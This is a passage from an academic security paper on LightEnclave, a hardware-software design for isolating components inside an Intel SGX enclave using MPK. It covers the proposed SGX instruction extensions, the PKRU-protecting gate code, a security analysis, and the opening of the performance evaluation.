for their interaction. A light-enclave-gate can efficiently trans-
fer the control flow between two light-enclaves (switching
the execution contexts) as well as switch the identity (domain
access permission), detailed in § 5.2. Besides static construc-
tion, both light-enclaves and light-enclave-gates can also be
built during runtime by the secure monitor. § 5.1 describes
more about the programming model.
Incompatible trust model between SGX and MPK. To
use MPK in an SGX enclave for memory isolation, the en-
clave pages’ page table entries should be tagged with different
domain-IDs. Since the page table is controlled by the OS,
LIGHTENCLAVE has to ask the OS to set the desired domain-
IDs. The implicit assumption of MPK is that the OS is trusted
and will faithfully configure the domain-IDs in the page table.
However, the OS is usually considered untrusted for SGX
enclaves. Thereby, using existing MPK-based memory iso-
lation in an SGX enclave is unreliable. Specifically, a com-
promised OS can collude with some malicious/compromised
light-enclave to break the isolation boundary between differ-
ent light-enclaves. To solve this security challenge, we pro-
pose non-intrusive SGX hardware extensions on validating
the domain-IDs in the page table. § 4 gives concrete attack
examples and the corresponding secure extensions. It will
also illustrate the security challenges and solutions related to
dynamic enclave memory management.
Threat Model. LIGHTENCLAVE inherits the threat model
of SGX and thus assumes an adversary can take full control
of all the software (including the OS) except SGX enclaves.
Besides, it does not assume all the code inside an enclave is
trusted. From the perspective of one light-enclave, it needs
to trust the SGX hardware, the secure monitor, and the light-
enclaves with higher privilege than it (if existed); It does not
need to trust any other software, including other light-enclaves
in the same SGX enclave; Yet, it still needs to ensure no
secret leakage to potentially malicious dependencies during
the interaction because LIGHTENCLAVE assumes each light-
enclave does not expose its secrets and takes no step forward
to eliminate such software bugs. LIGHTENCLAVE also does
not consider hardware bugs [22, 34, 36, 45] or side-channel
attacks [20, 27, 38].

4 Hardware Extensions

LIGHTENCLAVE is a hardware-software co-design for ef-
ficient intra-enclave isolation. This section introduces the
proposed hardware extensions. We first analyze the possible
attacks when naively combining MPK and SGX in the current
hardware design, which further motivates us to improve it
with minimal hardware modifications.

4.1 Attacks due to Incompatible Trust Model
Suppose one enclave contains two mutually distrusted light-
enclaves, light-enclave-A and light-enclave-B, and the former
contains a secret key in its private domain (domain-1), while
the latter runs a library which contains a vulnerability and
might be compromised. Although light-enclave-B runs in
the same enclave address space as light-enclave-A, Naive
MPK-based LIGHTENCLAVE ensures that light-enclave-B
has no access permission of other domains (i.e., domain-1)
and thus cannot retrieve light-enclave-A’s secret key. Besides
the insider attacker (light-enclave-B), the untrusted OS, as an
outsider attacker, also cannot access the secret key since the
key is protected in the SGX enclave.

However, the outsider and insider attackers can collude to
steal the secret key. Specifically, light-enclave-B first attempts
to read the secret key and thus triggers a page fault because
such memory access violates the domain access permission.
Then, in the page fault handler, the untrusted OS can modify
the domain-ID of the faulting page to the private domain of
light-enclave-B (e.g., domain-2) in the page table. Afterward,
the execution of light-enclave-B can be resumed, and now
it can successfully read the secret key. Later, the untrusted
OS can also restore the domain-ID to make the victim light-
enclave-A unaware of the attack.

In this way, even if a malicious light-enclave cannot acquire
the access permission of other light-enclaves’ private domains,
the untrusted OS can modify the domain-IDs in the page
table and thus help the malicious light-enclave to access any
sensitive data. Besides, the untrusted OS can also directly
disabling the MPK feature before the colluding light-enclave
executes, which can also break the isolation between different
light-enclaves. On a real machine with SGX and MPK, we
have successfully launched attacks in both the above ways.

4.2 Secure Domain Access
The key reason why the above attacks can succeed is that the
trust models of MPK and SGX conflict. The effectiveness
of MPK relies on the OS to correctly set the domain-IDs in
the page table entries, whereas the OS is untrusted in SGX.
Hence, LIGHTENCLAVE proposes hardware extensions to
solve this security conflict.

The high-level idea is to preserve the OS’s ability to con-
figure the domain-IDs in the page table while validating the
settings of domain-IDs at both initialization time and run-
time. The behavior of maliciously modifying domain-IDs of
the enclave pages will be detected by MMU during address
translation and then stop the hardware enclave execution. The
hardware extensions should achieve the following three secu-
rity properties.

• Security-property-1: Upon creation time, the domain-ID
of each enclave page should be included into the enclave’s
measurement for attestation.
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Figure 2. (a) Add the MPK domain-ID in the reserved bits of SECINFO. (b) Validate the MPK domain-ID during enclave
memory address translation.

• Security-property-2: During runtime, the OS cannot
change the domain-ID of an enclave page.

• Security-property-3: the MPK feature cannot be disabled
during the enclave execution if requested during creation
time.

Including the domain-ID into an enclave page’s secure
metadata. During the enclave creation, the OS executes
EADD instruction to add an EPC page to the enclave. EADD
takes a PAGEINFO structure as an argument. As shown in
Figure 2(a), PAGEINFO contains four fields that specify both
the metadata and the data for the enclave page to add. The
third field points to an SECINFO structure that contains the
enclave page information such as the read, write, execution
permission. EADD not only records such metadata in the
EPC page’s EPCM entry, as depicted in Figure 2(b), but also
leverages the metadata to update the enclave measurement.
To meet Security-property-1, the MPK domain-ID should also
be treated as the secure metadata of an enclave page.

We notice that the SECINFO structure has enough reserved
space for adding the domain-ID information. Specifically, its
FLAGS field has 64 bits while the last 48 bits are unused. So,
the domain-ID, which only consists of several bits (e.g., 4
bits can represent 16 domains), can be added here. Besides
SECINFO, the EPCM entry of an enclave page should also
add an extra field for storing the domain-ID. Two changes are
made to EADD: it will also update the enclave measurement
according to the domain-ID; it will also record the domain-
ID in the EPCM entry. Therefore, after an enclave is built, a
remote user can attest whether the domain-ID of each enclave
page is correctly set (i.e., meets Security-property-1).

Validating the domain-ID during address translation ac-
cording to EPCM. When an enclave thread accesses some
enclave address (vaddr), MMU translates vaddr into the phys-
ical address by first searching the corresponding TLB entry
and then querying the page table (upon TLB misses). Since
the page table is controlled by the untrusted OS, MMU will

further check against the EPCM for the security of transla-
tion, as shown in Figure 2(b). Specifically, after retrieving
the physical address from the page table entry, MMU locates
the corresponding EPCM entry indexed by the physical ad-
dress and validates the legality of the enclave memory access.
A legal access requires: the running enclave matches SECS
field in the EPCM, vaddr matches VA field in the EPCM,
etc. Note that the domain-ID of an enclave page has already
been recorded in the EPCM during the execution of EADD.
To meet Security-property-2, MMU will further check the
domain-ID retrieved from the page table entry against the
domain-ID stored in the EPCM. The equality of the two val-
ues is a new necessity for a legal enclave memory access. For
legal accesses, MMU will cache the address translation in the
TLB as before. No modifications on the structures of TLB or
page table are required.

By adding the validation, although the OS can still arbi-
trarily alter domain-ID of enclave pages in the page table,
this dishonesty will be detected upon EPC page accessing.
Thereby, the OS can no longer conduct the above-mentioned
collusion attack by changing the domain-ID.
Saving and restoring domain-ID during EPC page swap-
ping. SGX introduces specialized instructions for the OS to
swap EPC pages. The EWB instruction is responsible for en-
crypting an EPC page, dumping the encrypted content to the
normal memory, and generating PCMD that contains the Mes-
sage Authentication Code (MAC) of the swapped-out EPC
page. Because the EPCM entry of the swapped-out page will
be cleared and reused, EWB should also save the domain-ID
in PCMD just like saving other secure metadata and take it as
an extra input for generating the MAC. When the OS executes
swap-in instructions like ELDU to load back enclave pages,
the instructions can ensure the domain-ID remains unchanged
during EPC page swapping by verifying the MAC.

By checking the newly added domain-ID in EPCM dur-
ing enclave address translation and keeping the domain-ID
intact during enclave page swapping, the OS cannot change
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the domain-ID of enclave pages without being detected. So,
Security-property-2 is met.
Checking whether MPK is enabled during enclave tran-
sition. Whether MMU enables MPK check refers to the PKE
bit of the control register, i.e., CR4.PKE. The untrusted OS
can clear CR4.PKE and thus disable the MPK check for the
enclave (rendering intra-enclave isolation useless), without
being noticed by the enclave. To solve this security problem,
the hardware should check whether MPK is enabled as re-
quired just before the execution of an enclave. Specifically,
one new bit (PKE) is added in SECS for specifying whether
the enclave desires MPK domain permission check. EENTER,
the instruction for starting the enclave execution, additionally
checks whether CR4.PKE is set when PKE in SECS is set.
If not, it refuses to let the enclave run. The same check is
also needed in ERESUME that is for resuming the enclave
execution. The OS has no way to clear CR4.PKE when an
enclave executes since the CPU runs in enclave mode (the OS
is not running), so adding the check at enclave entry points is
enough for meeting Security-property-3.

4.3 Dynamic Enclave Page Management

Since SGXv2 supports dynamic enclave memory manage-
ment, LIGHTENCLAVE further introduces more hardware ex-
tensions to be compatible with this flexible feature.

With SGXv2, the OS can execute EAUG instruction to add
an enclave page to a running enclave. The page cannot be used
until the enclave issues EACCEPT or EACCEPTCOPY (we
name them accept instructions for short) to accept it. Similar
to EADD, EAUG also takes PAGEINFO (contains SECINFO)
as one parameter. Thereby, when executing it, the domain-ID
of the page should also be specified in SECINFO. Then, an
enclave can leverage accept instructions to check whether
the OS specifies its desired domain-ID. By extending these
three instructions, an enclave can still rely on the untrusted
OS to add pages on the fly without breaking MPK-based
intra-enclave isolation.

We also consider modifying the domain-ID of an enclave
page dynamically from the perspective of flexibility. SGXv2
already provides EMODPE for an enclave to proactively ex-
tend the access permission of pages. Since EMODPE also
takes SECINFO as one parameter and updates EPCM ac-
cordingly, it can be reused to update the domain-ID of some
enclave pages in the corresponding EPCM. Besides execut-
ing EMODPE, an enclave still needs to inform the OS about
domain-ID modification and then the OS can help set the new
domain-ID in the page table.

However, there exist two more attack vectors. The first is
caused by adding new pages. The OS may utilize EAUG to
add new enclave pages: one TCS page (i.e., adding a new
enclave entry point) and some malicious code pages. A com-
promised light-enclave can adopt these pages through execut-
ing accept instructions. Then, the OS can let one thread enter

the enclave through the new TCS with any PKRU value (any
domain access permission) and execute the malicious code.
Eliminating accept instructions in untrusted light-enclaves
cannot close this attack vector. This is because such instruc-
tions must exist in the enclave (e.g., secure monitor) if dy-
namic paging is needed and a malicious light-enclave is still
possible to execute them by using Return-Oriented Program-
ming (ROP). Even if there are identity checks immediately
after the accept instructions, one malicious thread (T) has
already accepted the new pages for other malicious threads.
The vulnerable window is open before T is caught. More
seriously, the untrusted OS can frequently interrupt T aiming
to enlarge the window. The second arises from modifying
domain-IDs. A light-enclave can modify the domain-IDs (set
to its private domain-ID) of other light-enclaves’ pages by
executing EMODPE and asking the OS to modify the domain-
IDs filled in the page table. Then, it can access any sensitive
page.
Authorized dynamic paging based on privilege separa-
tion. Original SGX enclave lacks the mechanism of privilege
separation. For example, all the enclave threads can always
access the same memory pages and execute the same instruc-
tions. LIGHTENCLAVE aims to build isolated light-enclaves
within one hardware enclave. The above-proposed SGX ex-
tensions make it possible to enforce different memory access
permissions within one hardware enclave. Nevertheless, miss-
ing the hardware capability of restricting instruction execution
leads to the above two attack vectors.
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Figure 3. The structure of per-enclave capability table.

We propose a per-enclave capability table to specify which
ENCLU instructions (SGX user-mode instructions) can a
light-enclave execute. Specifically, each light-enclave has a
unique identity stored in the PKRU register when it executes.
The capability table uses the light-enclave identity (the PKRU
register) as the index and stores the instruction permission of
the identity.

There can be up to 232 identities since PKRU has 32 bits.
To minimize the table’s memory space, we refer to the page
table structure. As shown in Figure 3, the capability table has
three levels. The first level has only one page whose address
is specified in the enclave’s SECS. The first-level page can
contain up to 512 entries which point to 512 second-level
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Procedures Effects Brief Description of the Extensions

Initialization EADD Set the page’s domain-ID in EPCM according to the new SECINFO.
ECREATE Include the new fields in SECS into the enclave measurement.

Swapping EWB The domain-ID of an enclave page will be used to update the hash (PCMD.MAC).
ELD Ensure the domain-ID of a loaded-back page is unchanged.

Dynamic Paging
EAUG Similar to EADD. Set the domain-ID for a new enclave page.
EMODPE Change the domain-ID of an enclave page in the EPCM at runtime.
EACCEPT(COPY) Check whether a page’s domain-ID in EPCM matches the desired one.

Runtime
EENTER/ERESUME Check whether MPK is enabled as required in SECS.
Memory Access Ensure the domain-IDs in the EPCM and in the page table match before accessing.
ENCLU Execution Check the capability table when executing sensitive ENCLU instructions.

Table 1: Major SGX extensions introduced by LIGHTENCLAVE

pages. Similarly, one second-level page can point to 512 third-
level pages. Each table entry stores the relative offset from the
enclave base address. One PKRU value is divided into four
parts: the first two parts (each part takes 9 bits) are used as
indexes to locate next-level pages; the third part (12 bits) is to
locate the 1-byte permission in the last-level page; the fourth
part (the least significant 2 bits) should both be 1, indicating
light-enclaves cannot access domain-0. If the last 2 bits of
PKRU are not 1 (i.e., secure monitor), the capability table
takes no effect. Every used light-enclave identity corresponds
to one 1-byte permission, one bit meaning whether a sensi-
tive ENCLU instruction can be executed. Such instructions
are EACCEPT, EACCEPTCOPY, EMODPE, and EGETKEY
because they are related to security (the last one is used to
retrieve the enclave encryption key). The rest four bits of the
permission are reserved. The type of capability table pages is
PT_CAP, which is a new enclave page type and writable to
the privileged secure monitor.

There are over 3,000 reserved bytes in SECS, which is
enough for storing the base offset of the capability table. Be-
sides, considering the backward compatibility, SECS could
include an extra control flag to configure whether to enable
the capability table. The content of the capability table should
also be included in the enclave measurement for attestation.
When light-enclaves execute sensitive instructions, the CPU
transparently checks the capability table to avoid arbitrary
execution of sensitive instructions. Although checking the
capability table may involve several memory accesses, such
sensitive instructions are infrequently executed and usually ex-
ecuted during complex operations like dynamic paging. Thus,
this security enhancement will barely cause a performance
slowdown. Moreover, the multi-level design of the capabil-
ity table can scale to a wider PKRU (support more memory
domains) and more sensitive instructions.

4.4 Hardware Extensions Summary
Table 1 summarizes the hardware extensions introduced by
LIGHTENCLAVE. First, to securely leverage MPK-based

memory isolation inside an SGX enclave, LIGHTENCLAVE
deprives the ability of arbitrarily modifying domain-IDs from
the untrusted OS through recording the domain information
during enclave initialization and letting the MMU automat-
ically check the information for memory accessing during
enclave runtime. Second, to keep the domain-IDs unchanged
during enclave page swapping, the swapping-related SGX in-
structions save and restore the domain-IDs when evicting and
reloading enclave pages. Third, to support dynamic paging
and domain-ID modification, EAUG, EMODPE, and accept
instructions are extended to specify the domain-IDs of enclave
pages. Fourth, security checks are also added to prevent the
untrusted OS from disabling MPK when entering a hardware
enclave and allow fine-grained privilege separation according
to a per-enclave capability table when executing four sensitive
ENCLU instructions. Last but not least, our hardware exten-
sions are inspired by current SGX implementation, namely,
microcode, which is feasible to be integrated into existing
SGX hardware designs.

5 Software Design

The software part of LIGHTENCLAVE contains code outside
and inside an enclave. The former is an extension based on
the existing Intel SGX SDK, which is responsible for generat-
ing the enclave memory layout (with the pages’ domain-IDs)
specified by programmers and some glue code for easing
the development of light-enclaves. The latter is mainly about
the secure monitor and light-enclave-gates. § 5.1 introduces
the programming model. Based on the hardware extensions,
the privilege of a light-enclave is determined by the specific
PKRU value to which it binds. To enforce the privilege sepa-
ration, LIGHTENCLAVE must further ensure a light-enclave
is always bound to the unique PKRU (§ 5.2).

5.1 Programming Model
As shown in Figure 4, LIGHTENCLAVE allows building either
mutual-distrusted light-enclaves. For instance, light-enclave-
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Figure 4. Logical view of light-enclaves: they can be mutually
distrusted or have hierarchical organization.

A and light-enclave-B are mutually distrusted, and their pri-
vate memory domains are domain-1 and domain-2, respec-
tively. To facilitate data exchange between them, domain-3
is allocated as a shared memory domain for them. Thereby,
light-enclave-A can access domain-1 and domain-3 while
light-enclave-B can access domain-2 and domain-3. To sup-
port interaction between them, LIGHTENCLAVE can desig-
nate a light-enclave-gate that is responsible for transferring
the control flow between the two light-enclaves (changing the
identity of light-enclave).

LIGHTENCLAVE inherits and extends the original SGX
programming model. In the original model, enclave develop-
ers use the interface definition language (IDL) [33] to specify
ecalls and ocalls. The former ones are interfaces used by the
untrusted application part to invoke functions provided by the
enclave. The latter ones are reverse. In LIGHTENCLAVE, the
light-enclave developers can still use the same IDL for defin-
ing the interfaces between the light-enclave and the untrusted
application part. Nevertheless, when automatically generating
the trampoline code for the interface, LIGHTENCLAVE en-
sures the PKRU register is properly set to the light-enclave’s
identity (declared by developers) before transferring the con-
trol flow into the light-enclave.

For the interfaces between different light-enclaves, LIGH-
TENCLAVE allows developers to use IDL similarly. A light-
enclave can expose two types of interfaces: one is public (any
light-enclave can invoke), the other is provided for another
specific light-enclave. In contrast, the interface provided by
an original SGX enclave (ecall) is always callable. For data
transferring between an enclave and the outside-enclave part,
the enclave should always be the data mover because it can
access both the inside-enclave and outside-enclave memory.
Nevertheless, LIGHTENCLAVE allows more data movement
mechanisms, e.g., shared memory between two light-enclaves.

Two light-enclaves (e.g., light-enclave-A and light-enclave-B)
can directly exchange data through the shared memory (e.g.,
domain-3) since it is inaccessible by the untrusted application
part and other light-enclaves. Compared with two hardware
enclaves, the interaction between two light-enclaves is more
efficient for both control and data transfer.

Mutual-distrusted light-enclaves have some potential usage
scenarios like accommodating different third-party libraries
or different processes of a multi-process application. In ad-
dition, LIGHTENCLAVE allows hierarchical light-enclaves.
As demonstrated in Figure 4, light-enclave-C takes domain-4
as its private domain while having access to domain-5 and
domain-6 that are the private domains of D and E. In this
case, C is more privileged than both D and E and can directly
access their private memory, which may be suitable for au-
diting or secure multi-party computation scenarios. Another
hierarchical case is light-enclave-F, G, and H. Their private
domains are domain-7, 8, and 9, separately. In this case, G and
H can be considered as more secure execution environments
than F, which is similar to an application (F) creating two
hardware enclaves (G and H).

In brief, compared to the original SGX programming
model, LIGHTENCLAVE shares the similarity of using IDL
for declaring the interfaces, which can benefit adoption and us-
ability. LIGHTENCLAVE requires developers’ minor efforts to
declare the light-enclave identity, i.e., the memory access per-
mission. Furthermore, developers can declare the instruction
execution permission as well. A light-enclave cannot execute
sensitive instructions by default. LIGHTENCLAVE abstracts
away other details such as memory partitioning through au-
tomatically setting the domain-IDs, generating light-enclave-
gates, and configuring the capability table.

5.2 PKRU Binding

LIGHTENCLAVE must prevent unauthorized modifications
of the PKRU register. Otherwise, a malicious light-enclave
can promote its privilege by modifying PKRU to access oth-
ers’ memory or execute disallowed instructions. To this end,
LIGHTENCLAVE deprives light-enclaves of their ability to
(arbitrarily) change the PKRU register. There are four ways a
light-enclave may get an illegal PKRU value and thus achieve
privilege escalation. LIGHTENCLAVE prevents all of them.

First, EENTER instruction does not change the PKRU reg-
ister so that a light-enclave can inherit the PKRU value config-
ured outside the SGX enclave. To avoid it, LIGHTENCLAVE
configures the PKRU register before transferring the control
flow to a light-enclave. Specifically, EENTER only transfers
the control flow to fixed enclave entries specified by TCS and
thus LIGHTENCLAVE can carefully set the PKRU register at
these entries (inside the hardware enclave) for ecalls targeted
light-enclaves (LIGHTENCLAVE generates the related code).
Thereby, a light-enclave cannot inherit the PKRU value set
outside the enclave (before invoking EENTER). Besides, since

3136    31st USENIX Security Symposium USENIX Association



EEXIT instruction also does not change the PKRU register
when the control flow transfers from SGX enclave inside to
outside, LIGHTENCLAVE saves the outside PKRU at entries
and restores it at exits.

Second, the AEX (Asynchronous Enclave Exit) procedure
automatically saves PKRU in SSA (State Save Area), and
ERESUME restores it. If the saved PKRU in SSA is mali-
ciously manipulated, a light-enclave may get a manipulated
PKRU value after being resumed by ERESUME. LIGHTEN-
CLAVE prevents this by making all the SSA pages reside in
domain-0. Domain-0 is only accessible to the trusted secure
monitor and inaccessible to all the light-enclaves. In other
words, malicious light-enclaves cannot modify the PKRU
value saved in the SSA. It is noted that the AEX procedure
can always access SSAs regardless of MPK checks.

Third, WRPKRU instruction is specialized for modifying
PKRU, and light-enclaves may execute it to change PKRU and
achieve higher privilege. To prevent this, LIGHTENCLAVE
leverages binary scanning and rewriting to guarantee there is
no WRPKRU instruction in the code of light-enclaves, simi-
lar to [28, 56]. Since x86 instructions have variable lengths,
WRPKRU could appear as a part of long instructions or span
several instructions. LIGHTENCLAVE scans the binary code
byte-by-byte to locate WRPKRU, and if exists, it replaces the
related instructions with semantically-identical ones. Thus,
compromised/malicious light-enclave cannot find and exe-
cute illegal WRPKRU instructions even with return-oriented
programming (ROP).

1 mov $SECRET_TOKEN, %r15

2 xor %ecx, %ecx

3 xor %edx, %edx

4 rdpkru

5 cmp $PKRU_CALLER, %rax

6 jne handle_abuse

7 mov $PKRU_CALLEE, %eax

8 WRPKRU

9 cmp $SECRET_TOKEN, %r15

10 jne handle_abuse

11 xor %r15, %r15
... // callee executes

... // save and clear the caller’s state

Figure 5. A light-enclave-gate example.

Nevertheless, executing WRPKRU instruction is necessary
for the interaction between different light-enclaves as they
have different PKRU values. LIGHTENCLAVE utilizes light-
enclave-gates for the interaction. A light-enclave-gate is a
piece of code generated by LIGHTENCLAVE and contains
WRPKRU. Figure 5 shows an example of the light-enclave-
gate. Generally, the gate saves the execution states of the caller
light-enclave, switches the light-enclave identity to the callee,
and restores the execution states of the callee light-enclave
(e.g., let the callee execute the corresponding function). The

gate is designed to enforce two security requirements: A light-
enclave req-1) cannot abuse the WRPKRU instruction for
privilege escalation, req-2) cannot arbitrarily use one gate for
invoking other light-enclaves. Specifically, Line-2, Line-3 and
Line-7 prepare the parameters for the WRPKRU instruction
as it requires that eax stores the new PKRU value and ecx and
edx are both 0. Line-1 and Line-9 can ensure their wrapped
code piece must be executed line-by-line. This is because
SECRET_TOKEN is unknown to light-enclaves. If a light-
enclave wants to pass the check at Line-9, it must execute
Line-1 first and thus go through the whole code piece, which
guarantees Line-8 (WRPKRU) cannot be abused (e.g., a mali-
cious light-enclave cannot directly jump to Line-8 with an ille-
gal PKRU value in eax) (meeting req-1). Light-enclaves can-
not know SECRET_TOKEN for two reasons: first, the secure
monitor randomly generates and fills SECRET_TOKEN when
initializing the hardware enclave; second, light-enclave-gates
are located in domain-0 and thus are execute-only for light-
enclaves. Moreover, as mentioned in § 5.1, a light-enclave can
expose an interface only for a specific light-enclave. Line-4
to Line-6 are used to authenticate the identity of the caller
light-enclave (meeting req-2).

1 mov $SECRET_TOKEN, %r15

2 mov $bitmap_low, %eax

3 mov $bitmap_high, %edx

4 xrstor64 (%rdi)

5 cmp $SECRET_TOKEN, %r15

6 jne handle_abuse

7 xor %r15, %r15

... // continue the execution

... // save the current states

Figure 6. Avoid the abuse of XRSTOR.

Fourth, XRSTOR/XRSTORS can restore the processor ex-
tended states that can also include the PKRU register. Both
Intel SGX SDK and some LibOSes for SGX utilize XRSTOR
when re-entering an enclave. Similarly, LIGHTENCLAVE
first ensures no occurrence of these instructions in light-
enclaves by using binary inspection and then wraps the nec-
essary instructions as shown in Figure 6. By clearing bit-9 in
bitmap_low, XRSTOR will not modify the PKRU register.

By configuring PKRU at enclave entries/exits and forbid-
ding light-enclaves to access SSA pages, LIGHTENCLAVE en-
sures light-enclaves cannot change the PKRU during the hard-
ware enclave transition. By elaborately controlling the exis-
tence of PKRU modifying instructions, LIGHTENCLAVE dis-
allows light-enclaves to modify the PKRU arbitrarily. There-
fore, LIGHTENCLAVE can ensure a light-enclave is always
bound to its designated PKRU during execution.
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5.3 Secure Monitor

Each hardware enclave contains one secure monitor that
works as the control plane. It is trustworthy and can access
all the memory domains and execute all the SGX-compatible
instructions. During initialization, it has two responsibilities.
The first is remote attestation that reports the measurement
of the whole hardware enclave to remote users. The second
is filling random tokens in the light-enclave-gates. During
runtime, it serves light-enclaves, interacts with them through
light-enclave-gates. The first service is dynamic enclave page
management: it allocates enclave pages with desired domain-
IDs for different light-enclaves. The second service is dy-
namic light-enclave management: it supports building new
light-enclaves, reclaiming existing light-enclaves, adding new
light-enclave-gates, and allocating shared memory domain.
Besides, it also updates the enclave capability table.

6 Implementation

6.1 Integration with SGX LibOSes

Existing SGX library OSes (LibOSes) can be extended to
work as the secure monitor in LIGHTENCLAVE. Occlum [53]
is a LibOS that runs inside an SGX enclave and supports mul-
tiple tasks running on it. To enforce isolation amongst tasks,
it enforces MPX-based bounds checking on memory accesses.
We add/modify about 1,100 lines of codes (LOC) in Occlum
(commit 0a06c898) to integrate the mechanism of LIGHTEN-
CLAVE into it. We name the modified Occlum as Iso-Occlum.
Iso-Occlum leverages the abstraction of light-enclave to run
different tasks and abandons the original time-consuming
bounds checking. Graphene-SGX [55] is another LibOS that
runs inside an SGX enclave to support unmodified Linux
applications. It can support multi-process applications by cre-
ating multiple hardware enclaves. We add/modify about 4,900
LOC to incorporate LIGHTENCLAVE with Graphene-SGX
(commit 9c226c9a). The modified one, named Iso-Graphene-
SGX, creates light-enclaves instead of hardware enclaves.

6.2 Analysis of the Hardware Proposal

We validate most hardware extensions presented in § 4.2 and
§ 4.3 on the Intel SGX emulator, i.e., Intel SGX SDK simu-
lation mode. For extensions on data structures, we add new
attributes to SECINFO (Domain-ID) and SECS (PKE bit),
which use the reserved fields in SECINFO and SECS imple-
mented in the SDK; we also extend the EPCM entry to record
Domain-ID. For extensions on instructions, we modify or add
the emulation routines of the SGX instructions related to the
extended data structures; Since the user-level EENTER and
ERESUME routines need to read CR4, we add an ioctl() in the
SGX driver for returning the value of CR4, which, however,
is unnecessary if implemented in the microcode. We evaluate

the correctness of the implementations on the emulator from
two aspects. First, enclave applications can seamlessly run
with a newer memory layout configuration (with Domain-
IDs specified). Second, tampering with any Domain-ID of
an enclave page can be detected during the page adding or
swapping time. However, the emulator cannot emulate the
hardware operations of memory access validation. Thus, we
cannot validate the runtime check which aims to ensure the
domain-IDs in the EPCM and the page table match before
filling the TLBs (this Non-emulated Check is one limitation
of our work).

We argue that our hardware proposal is feasible through
analyzing the hardware, performance, and memory overhead.

1© Hardware Overhead. Most SGX implementation is
based on CPU microcode [8, 24], and the microcode is much
easier to update than the hardware [8, 18]. Hence, the up-
dates of instructions summarized in Table 1 can all be ap-
plied using SGX microcode without any significant change
in the CPU hardware logic. The checking procedure of the
enclave memory access also needs one extra validation step,
i.e., the Non-emulated Check. According to an in-depth SGX
analysis [24] (§ 6), two SGX patents [35, 41], and a recent
study [47], the checking procedure only happens when TLB
misses occur, and is (very likely) implemented in microcode
as well, which means adding our extra validation step may
also only need microcode update and require no hardware
(e.g., MMU) modifications.

2© Performance Overhead. The required changes to SGX
instructions are mostly lightweight: in the emulator, the mod-
ifications incur 0.6%-0.7% overhead for constructing an en-
clave (1MB-1GB), and negligible overhead for enclave swap-
ping/paging. Yet, checking the capability table may add the
most overhead if the table is swapped out, i.e., adding up to
30,000 CPU cycles due to swapping three enclave pages in
the worst case (adding tens of cycles without swapping). Such
a potential cost can be avoided if only the secure monitor ex-
ecutes sensitive ENCLU instructions (infrequently needed)
because it does not refer to the capability table. The Non-
emulated Check needs to compare the Domain-ID in the page
table entry (PTE) and the EPCM. Since the PTE and EPCM
are accessed in the original checking procedure, our extra
check may only add one cycle of comparison when TLB
misses, which is also negligible.

3© Memory Overhead. Four extra (or reserved) bits in the
EPCM entry are needed for each 4K enclave page as Domain-
ID. Other extensions in SECS and SECINFO incur zero over-
head by utilizing previously-unused fields. If required, the
capability table usually takes at most several 4K pages for
each enclave.

6.3 Limitations

Besides the above Non-emulated Check, another limitation of
LIGHTENCLAVE is the number of distrusted light-enclaves
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is limited to 16 (although the hierarchical ones can be
more) because MPK currently only supports up to 16 do-
mains. There are three potential future solutions. First, prior
work [48, 52, 58] proposes orthogonal approaches to extend
the number of MPK domains. Second, there are still unused
bits in page table entries. It is possible for Intel to allow more
bits (even configurable) to be used as domain-ID (2 more
bits can increase the number to 64). Third, using multiple
enclaves could be one simple solution, i.e., 2 SGX enclaves
or 2 nested-enclaves [47] can offer 32 domains, which, how-
ever, increases the overhead when cross-enclave interaction
is needed. This is also left as our future work.

7 Security Analysis

When two mutually distrusted light-enclaves run in one SGX
enclave, LIGHTENCLAVE promises the same security guar-
antees as running them in separated SGX enclaves. The un-
trusted OS cannot compromise a light-enclave. Since the
light-enclave is guarded inside an SGX enclave, be default the
untrusted software including the OS cannot access its mem-
ory and execution states. One difference made by LIGHTEN-
CLAVE is enclave pages are tagged with different domain-IDs,
which, however, does not bring new attack vectors for two
reasons. First, light-enclave’s pages are always located in EPC
(i.e., inaccessible to the OS) whichever their domain-IDs are.
Second, the OS can only cause DoS attacks by manipulating
the domain-IDs in the page table because the correct ones are
securely recorded in EPCM.
An untrusted neighbor cannot compromise a light-
enclave. A light-enclave may co-run with compromised or
malicious neighbor light-enclaves in the same SGX enclave.
Suppose light-enclave-A intends to attack light-enclave-B.
It has four major attack vectors. First, A may try to directly
access B’s memory pages, but LIGHTENCLAVE prevents A
from accessing B’s memory by using MPK-based isolation.
Second, A may try to access B’s execution states in SSAs.
Nevertheless, the SSA pages are located in domain-0 that is
inaccessible to light-enclaves. Third, A may try to modify
the PKRU register that determines the domain access per-
mission. LIGHTENCLAVE carefully wraps the instructions
that can modify PKRU (see Section 5.2), and consequently A
cannot leverage these instructions to modify its own PKRU.
Moreover, LIGHTENCLAVE locate all the code pages in in
domain-0 so that light-enclaves cannot either modify its code
nor add new code (e.g, via EAUG) to modify the the PKRU
register. Fourth, A may deliberately trigger exceptions to crash
the execution of the whole enclave, leading to a DoS attack.
LIGHTENCLAVE requires the OS to report the unexpected
exceptions to the secure monitor that can then inspect the
SSAs for locating A. Thereby, A cannot conduct DoS attacks
without the help of OS. If the OS does not cooperate, a DoS
may happen. Yet, the OS can also easily launch DoS attacks
without LIGHTENCLAVE.

The Collusion attack cannot compromise a light-enclave.
The untrusted OS can neither set the PKRU register for the
malicious light-enclave due to light-enclave-gates at enclave
entries, nor modify the domain-IDs of the sensitive enclave
pages due to MMU checks according to EPCM. Another con-
cern is two light-enclaves share the same memory encryption
key because of running in the same enclave. Nevertheless,
SGX encryption mechanism involves the virtual addresses,
which prevents potential information leakage under physical
attacks.

8 Performance Evaluation

In this section, we seek to answer the following questions:

1. How fast is LIGHTENCLAVE in terms of light-enclave
creation and communication? (§ 8.1)

2. How much overhead does the intra-enclave isolation of
LIGHTENCLAVE cause to applications? (§ 8.2)

3. How much performance improvement can LIGHTEN-
CLAVE bring to existing LibOSes? (§ 8.3)

4. How much performance improvement can LIGHTEN-
CLAVE bring for FaaS scenarios? (§ 8.4)

We do not use the emulator for evaluation since it doesn’t
emulate SGX memory encryption engine and thus shows
much better performance than the real SGX. Instead, we eval-
uate LIGHTENCLAVE on the real machine with Intel i7-10700
IceLake CPU (2.9 GHz, SGXv1, MPK) and Linux kernel
5.4.110 by adding the estimated overhead (similar to [39,47]).
According to § 6.2, the proposed hardware extensions on
enclave initialization and memory management incur neg-
ligible performance overhead; two of three added hardware
checks at runtime are both negligible because either extremely
lightweight (the Non-emulated Check) or too infrequent (the
capability table check, not required in the following experi-
ments); the last added check in EENTER and ERESUME is
on the critical path. Thus, we only add the estimated overhead
(19 CPU cycles) on EENTER/ERESUME, which simulates
accessing one SECS field (10 cycles) and reading CR4 (9
cycles). The former one is the latency of accessing L1 cache
